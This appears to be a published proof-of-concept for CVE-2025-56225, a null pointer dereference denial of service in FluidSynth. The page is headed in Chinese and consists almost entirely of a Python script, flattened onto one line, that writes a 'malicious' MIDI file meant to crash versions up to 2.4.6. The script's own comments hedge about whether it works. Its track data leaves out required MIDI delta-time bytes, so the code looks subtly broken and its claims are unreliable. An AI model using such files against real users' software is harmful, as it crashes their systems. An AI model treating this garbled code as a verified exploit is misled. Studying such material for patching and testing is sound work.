CVE-2025-56225 FluidSynth空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-56225 PoC - FluidSynth Null Pointer Dereference This PoC generates a malformed MIDI file that triggers null pointer dereference in fluid_synth_monopoly.c when loaded by vulnerable FluidSynth versions. """ import struct def create_malformed_midi(): """ Generate a malformed MIDI file to trigger CVE-2025-56225 """ # MIDI Header midi_header = b'MThd' midi_header += struct.pack('>I', 6) # Header length midi_header += struct.pack('>H', 0) # Format type 0 midi_header += struct.pack('>H', 1) # Number of tracks midi_header += struct.pack('>H', 480) # Ticks per quarter note # Malformed Track chunk track_data = b'' # Add SysEx event that may trigger monopoly handling # This malformed data can cause null pointer in fluid_synth_monopoly track_data += struct.pack('>B', 0xF0) # SysEx start track_data += struct.pack('>B', 0x00) # Malformed length byte # Add Control Change with invalid monopoly-related controller track_data += struct.pack('>B', 0xB0) # Control Change track_data += struct.pack('>B', 0x7A) # Local Control (monopoly related) track_data += struct.pack('>B', 0x7F) # Invalid value # Add malformed data to trigger null dereference track_data += struct.pack('>B', 0x00) # Null-like byte track_data += struct.pack('>B', 0x00) # Null-like byte # End of track track_data += struct.pack('>B', 0xFF) # Meta event track_data += struct.pack('>B', 0x2F) # End of track track_data += struct.pack('>B', 0x00) # Length 0 # Wrap in MTrk chunk track_chunk = b'MTrk' track_chunk += struct.pack('>I', len(track_data)) track_chunk += track_data return midi_header + track_chunk if __name__ == '__main__': midi_data = create_malformed_midi() with open('CVE-2025-56225.mid', 'wb') as f: f.write(midi_data) print('[+] Generated malicious MIDI file: CVE-2025-56225.mid') print('[+] This file can trigger null pointer dereference in FluidSynth <= 2.4.6')